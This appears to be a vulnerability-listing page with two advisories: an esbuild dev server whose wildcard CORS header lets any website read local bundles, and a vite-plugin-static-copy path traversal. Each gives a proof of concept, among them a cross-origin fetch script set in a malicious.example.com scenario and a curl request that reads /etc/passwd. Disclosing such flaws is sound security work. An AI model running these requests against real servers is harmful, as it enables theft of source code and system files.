Version Details and Security Vulnerabilities

Summary

esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.

Details

esbuild sets Access-Control-Allow-Origin: * header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.

https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com).
2. The user accesses the malicious web page.
3. The attacker sends a fetch('http://127.0.0.1:8000/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
4. The attacker gets the content of http://127.0.0.1:8000/main.js.

In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by

• Fetching /index.html: normally you have a script tag here
• Fetching /assets: it's common to have a assets directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
• Connecting /esbuild SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data)))
• Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.

PoC

1. Download reproduction.zip
2. Extract it and move to that directory
3. Run npm i
4. Run npm run watch
5. Run fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content)) in a different website's dev tools.

Impact

Users using the serve feature may get the source code stolen by malicious websites.

Summary

Files not included in src was possible to access with a crafted request.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Arbitrary files can be disclosed by exploiting this vulnerability.

Details

Consider the following configuration in used by vite.config.ts:

import { defineConfig } from 'vite'
import { viteStaticCopy } from 'vite-plugin-static-copy'

export default defineConfig({
    plugins: [
      viteStaticCopy({
        targets: [
          {
            src: "./public/images",
            dest: "./",
          },
        ],
      }),
    ],
  });

The files under the ./public/images is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.

PoC

I've attached a demo app to showcase the bug.

Run it with npm run dev and issue the following HTTP request

GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2

OR

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: localhost:3001' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost:3001/static/images/../../../../../../../etc/passwd'

Observe that the /etc/passwd file is included in the response.